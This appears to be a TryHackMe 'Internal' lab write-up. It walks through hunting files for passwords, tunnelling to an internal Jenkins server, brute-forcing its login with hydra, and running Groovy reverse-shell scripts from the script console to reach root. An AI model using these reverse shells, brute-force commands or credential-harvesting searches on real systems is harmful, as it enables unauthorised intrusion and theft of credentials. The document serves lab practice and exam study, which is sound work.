# Tryhackme - Internal - THE HARD WAY

### **Goal:** Boot to Root - The hard way.

### **1. Enumerations:** Same as Internal Easy Way

### **2. Privilege Escalation:** THE HARD WAY

Oh boy, where do I start?

Now let supposed that PwnKit doesn't work at all (which it does).

And let supposed that harvesting credentials by enumerating text files is the only way to get to root. Trỵhackme - Internal the hard way is based on the fact that this victim machine might be harden, and we may not have any way to get to root other than get into the Docker container and get our credential lying inside of an obfuscated text file.

We start with enumerating the directory around us.

```shell
# A few good enumerating commands from a friend:
#1. Obvious dirs
ls -lah /opt /var/backups /srv /tmp 2>/dev/null
ls -lah /opt /srv /tmp /home /etc /var 2>/dev/null 
find /home -maxdepth 2 -type f -size -128k -printf "%M %u %p\n" 2>/dev/null

#2. Colon grep
grep -RIn --exclude-dir={proc,sys,dev,run} -E '^[[:alnum:]._-]{1,30}:[[:graph:]]{1,30}$' / 2>/dev/null | head

# 3. Tiny txt/bak/old
find / -type f -size -128k \( -iname "*.txt" -o -iname "*.bak" -o -iname "*.old" -o -iname "*.conf" \) -readable -exec ls -lah {} + 2>/dev/null | head -n 40

# 4. ZIP/TAR creds
find / -type f -size -5M -regextype posix-extended -regex '.*\.(zip|tar|gz|bz2|7z|rar)$' -readable -print 2>/dev/null | head

# 5. Files containing the string 'user1' (change accordingly)
grep -RIl "user1" / 2>/dev/null

# 6. Same as 5. but faster
grep -RIl "user1" /opt /srv /tmp /home /etc /var 2>/dev/null

# 7. Files named with 'user1'
find / -type f -iname "*user1*" 2>/dev/null

# 8. Files owned by 'user1'
find / -user user1 2>/dev/null

# 9. Find password
grep -R "password" /tmp /etc /opt /home 2>/dev/null
```

For this lab command 1.1 and 2 works like a charm!

Command 1.1: Pointed out the file right on top:

```shell
www-data@internal:/$ ls -lah /opt /var/backups /srv /tmp 2>/dev/null 
ls -lah /opt /var/backups /srv /tmp 2>/dev/null 
/opt:
total 16K
drwxr-xr-x  3 root root 4.0K Aug  3  2020 .
drwxr-xr-x 24 root root 4.0K Aug  3  2020 ..
drwx--x--x  4 root root 4.0K Aug  3  2020 containerd
-rw-r--r--  1 root root  138 Aug  3  2020 wp-save.txt # Jackpot

/srv:
total 8.0K
drwxr-xr-x  2 root root 4.0K Feb  3  2020 .
drwxr-xr-x 24 root root 4.0K Aug  3  2020 ..

/tmp:
total 8.0K
drwxrwxrwt  2 root root 4.0K Jun  3 07:50 .
drwxr-xr-x 24 root root 4.0K Aug  3  2020 ..

/var/backups:
total 764K
drwxr-xr-x  2 root root   4.0K Aug  9  2020 .
drwxr-xr-x 14 root root   4.0K Aug  3  2020 ..
-rw-r--r--  1 root root    50K Aug  9  2020 alternatives.tar.0
-rw-r--r--  1 root root    38K Aug  3  2020 apt.extended_states.0
-rw-r--r--  1 root root   3.9K Aug  3  2020 apt.extended_states.1.gz
-rw-r--r--  1 root root    437 Aug  3  2020 dpkg.diversions.0
-rw-r--r--  1 root root    207 Aug  3  2020 dpkg.statoverride.0
-rw-r--r--  1 root root   635K Aug  3  2020 dpkg.status.0
-rw-------  1 root root    746 Aug  3  2020 group.bak
-rw-------  1 root shadow  625 Aug  3  2020 gshadow.bak
-rw-------  1 root root   1.6K Aug  3  2020 passwd.bak
-rw-------  1 root shadow 1.1K Aug  3  2020 shadow.bak
```

Command 2: We don't even need to open the file:

```shell
www-data@internal:/$ grep -RIn --exclude-dir={proc,sys,dev,run} -E '^[[:alnum:]._-]{1,30}:[[:graph:]]{1,30}$' / 2>/dev/null | head
<._-]{1,30}:[[:graph:]]{1,30}$' / 2>/dev/null | head
/opt/wp-save.txt:5:aubreanna:bubb1XXXXXXXX # JACKPOT #Hidden password
/snap/core/9665/etc/apt/apt.conf.d/01autoremove-kernels:2:APT::NeverAutoRemove
/snap/core/9665/etc/group:1:root:x:0:
/snap/core/9665/etc/group:2:daemon:x:1:
/snap/core/9665/etc/group:3:bin:x:2:
/snap/core/9665/etc/group:4:sys:x:3:
/snap/core/9665/etc/group:5:adm:x:4:syslog
/snap/core/9665/etc/group:6:tty:x:5:
/snap/core/9665/etc/group:7:disk:x:6:
/snap/core/9665/etc/group:8:lp:x:7:
```

Navigating to the home directory reveals the user.txt flag and a file named “jenkins.txt.” This file hints that there is an internal Jenkins server running on a `172.17.0.2:8080` address internally.

```shell
aubreanna@internal:~$ ls -la
total 56
drwx------ 7 aubreanna aubreanna 4096 Aug  3  2020 .
drwxr-xr-x 3 root      root      4096 Aug  3  2020 ..
-rwx------ 1 aubreanna aubreanna    7 Aug  3  2020 .bash_history
-rwx------ 1 aubreanna aubreanna  220 Apr  4  2018 .bash_logout
-rwx------ 1 aubreanna aubreanna 3771 Apr  4  2018 .bashrc
drwx------ 2 aubreanna aubreanna 4096 Aug  3  2020 .cache
drwx------ 3 aubreanna aubreanna 4096 Aug  3  2020 .gnupg
drwx------ 3 aubreanna aubreanna 4096 Aug  3  2020 .local
-rwx------ 1 root      root       223 Aug  3  2020 .mysql_history
-rwx------ 1 aubreanna aubreanna  807 Apr  4  2018 .profile
drwx------ 2 aubreanna aubreanna 4096 Aug  3  2020 .ssh
-rwx------ 1 aubreanna aubreanna    0 Aug  3  2020 .sudo_as_admin_successful
-rwx------ 1 aubreanna aubreanna   55 Aug  3  2020 jenkins.txt
drwx------ 3 aubreanna aubreanna 4096 Aug  3  2020 snap
-rwx------ 1 aubreanna aubreanna   21 Aug  3  2020 user.txt
aubreanna@internal:~$ cat jenkins.txt
Internal Jenkins service is running on 172.17.0.2:8080
```

Now let's setup our ssh tunnel at `10000`:

```shell
ssh -L 10000:172.17.0.2:8080 aubreanna@10.10.15.210
```

*(I always forgot this command so I will explain to myself the command again, ignore these 2 lines below)*

```shell
ssh -L 10000:172.17.0.2:8080 aubreanna@10.10.15.210
#    ^    ^          ^                 ^
#param..|l.port|internalnet|same as original ssh
```

```shell
┌──(kali㉿kali)-[~]
└─$ ssh -L 10000:172.17.0.2:8080 aubreanna@10.10.15.210
aubreanna@10.10.15.210's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Jun  3 08:59:47 UTC 2025

  System load:  0.01              Processes:              149
  Usage of /:   63.7% of 8.79GB   Users logged in:        0
  Memory usage: 42%               IP address for eth0:    10.10.15.210
  Swap usage:   0%                IP address for docker0: 172.17.0.1

  => There is 1 zombie process.


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

0 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Jun  3 08:55:03 2025 from [YOUR IP]
aubreanna@internal:~$ 
```

Now to bruteforce Jenkins, we have to study its response:

```http
HTTP/1.1 302 Found

Date: Tue, 03 Jun 2025 09:12:02 GMT

X-Content-Type-Options: nosniff

Set-Cookie: JSESSIONID.a31bd846=node0687h1wkmuo4r10e7witvipt5u53.node0; Path=/; HttpOnly

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Set-Cookie: ACEGI_SECURITY_HASHED_REMEMBER_ME_COOKIE=; Path=/; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; HttpOnly

Location: http://localhost:10000/loginError

Content-Length: 0

Server: Jetty(9.4.30.v20200611)
```

Notice this: `http://localhost:10000/loginError` this will be our input into hydra `(Why hydra you ask? because I'm prepping for OSCP, normally I would CAIDO and filter out things but... well rules of the land it is. For what I know, OSCP banned CAIDO. I wish they didn't.)`.

Next let's study the POST request we send:

```http
POST /j_acegi_security_check HTTP/1.1
Host: localhost:10000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Origin: http://localhost:10000
Connection: keep-alive
Referer: http://localhost:10000/loginError
Cookie: JSESSIONID.a31bd846=node012qfv39fs1rrpyg3c8fqn48600.node0
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

j_username=admin&j_password=&from=%2F&Submit=Sign+in
```

Build the hydra command:

```shell
hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:F=loginError" -s 10000 -V
```

Remember not to use `127.0.0.1:10000` and you MUST add `-s 10000` or it will crashed.

```shell
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://[127.0.0.1:10000]:80/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:F=loginError
[ERROR] could not resolve address: 127.0.0.1:10000
0 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-03 16:27:46
```

OUCH.

Anyway,

```shell
┌──(kali㉿kali)-[~]
└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:F=loginError" -s 10000 -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-03 16:32:03
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://127.0.0.1:10000/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:F=loginError
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
...
...
...
...
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "thomas" - 107 of 14344399 [child 9] (0/0)
[10000][http-post-form] host: 127.0.0.1   login: admin   password: spongebob
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-03 16:32:18
```

~~There are 2 ways to get a shell:~~

### ~~1. Normal Shell:~~

~~Press `New Item`~~

~~Enter `New Item Name` and pick `Multi-configuration project`:~~

~~Scroll down at `Build` and pick `Execute shell` and enter your shell:~~

You'd probably wonder why I crossed these out, because at the time of writing this line I tried 20 reverse shell and failed every single one of it, Jenkins keep `exit` on my shell and I don't know why.

Until a friend explained:

***

#### In a Nutshell

* **Build Step** → parent = `/bin/sh /tmp/jenkinsXYZ.sh` → Jenkins kills all children when `/tmp/jenkinsXYZ.sh` exits → reverse shell dies.
* **Script Console** → parent = Jenkins’s Groovy/JVM → no build-wrapper to exit → your shell lives on until you close it.

That’s why every time you tried a “live bash –i >/dev/tcp/…” inside a pipeline, it connected briefly and then vanished—because Jenkins automatically reaps it once that step finishes.

***

I've also asked why on a Windows Server, I used this trick without being killed, they explained:

**On Windows**: Jenkins’s Windows agent launcher does not automatically kill every child process when your PowerShell step ends, so your PS reverse shell remains alive.

***

So anyway, Groovy script it is then.

Let's visit&#x20;

```url
http://localhost:10000/script
```

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2Fzlho7K851Qt2mteXDYuG%2FPasted%20image%2020250603183701.png?alt=media&#x26;token=6d20b66d-db4b-4b30-8b68-5de1828bff55" alt=""><figcaption></figcaption></figure>

A few Groovy scripts:

```groovy
String host="[YOUR IP]";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

```groovy
// ─── REVERSE‐SHELL SNIPPET ──────────────────────────────────────────────
// Change the IP and port below to match your Kali listener.
String host = "[YOUR IP]"
int    port = 4444

// Build and execute a bash command that:
//   1) does “exec 5<>/dev/tcp/$host/$port” to open a single socket on FD 5
//   2) runs a “cat <&5 | while read line; do $line 2>&5 >&5; done” loop,
//      which reads any command you type and executes it in bash, sending
//      both stdout and stderr back over FD 5
def bashCommand = [
  "/bin/bash",
  "-c",
  "exec 5<>/dev/tcp/${host}/${port}; " +
  "cat <&5 | while read line; do \$line 2>&5 >&5; done"
]
def proc = Runtime.getRuntime().exec(bashCommand as String[])
proc.waitFor()
// ────────────────────────────────────────────────────────────────────────
```

```shell
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444

listening on [any] 4444 ...
connect to [[YOUR IP]] from (UNKNOWN) [10.10.15.210] 43118
script /dev/null -c bash #Upgrading shell
Script started, file is /dev/null #Upgrading shell
jenkins@jenkins:/$ grep -RIn --exclude-dir={proc,sys,dev,run} -E '^[[:alnum:]._-]{1,30}:[[:graph:]]{1,30}$' / 2>/dev/null | head
/opt/note.txt:6:root:tr0ub13XXXXXXXXX #Hidden password
/var/lib/dpkg/info/base-passwd.preinst:7:root:*:0:0:root:/root:/bin/bash
/var/lib/dpkg/info/base-passwd.preinst:11:sync:*:4:65534:sync:/bin:/bin/sync
/var/lib/dpkg/info/base-passwd.preinst:30:root:*:0:
/var/lib/dpkg/info/base-passwd.preinst:31:daemon:*:1:
/var/lib/dpkg/info/base-passwd.preinst:32:bin:*:2:
/var/lib/dpkg/info/base-passwd.preinst:33:sys:*:3:
/var/lib/dpkg/info/base-passwd.preinst:34:adm:*:4:
/var/lib/dpkg/info/base-passwd.preinst:35:tty:*:5:
/var/lib/dpkg/info/base-passwd.preinst:36:disk:*:6:
jenkins@jenkins:/$ 
```

Now we could just:

```shell
┌──(kali㉿kali)-[~]
└─$ ssh root@10.10.15.210   
root@10.10.15.210's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Jun  3 11:21:51 UTC 2025

  System load:  0.0               Processes:              167
  Usage of /:   63.7% of 8.79GB   Users logged in:        1
  Memory usage: 49%               IP address for eth0:    10.10.15.210
  Swap usage:   0%                IP address for docker0: 172.17.0.1

  => There is 1 zombie process.


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

0 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Aug  3 19:59:17 2020 from 10.6.2.56
root@internal:~# cat /home/aubreanna/user.txt
THM{int3XXXXXXXXXXXXX #hidden
root@internal:~# cat /root/root.txt 
THM{d0XXXXXXXXXXXXXXX #hidden
root@internal:~# 
```

This is the hard way, the true way to do this room. I hope you would enjoy my write-up as much as I writing it.

Have a good day.
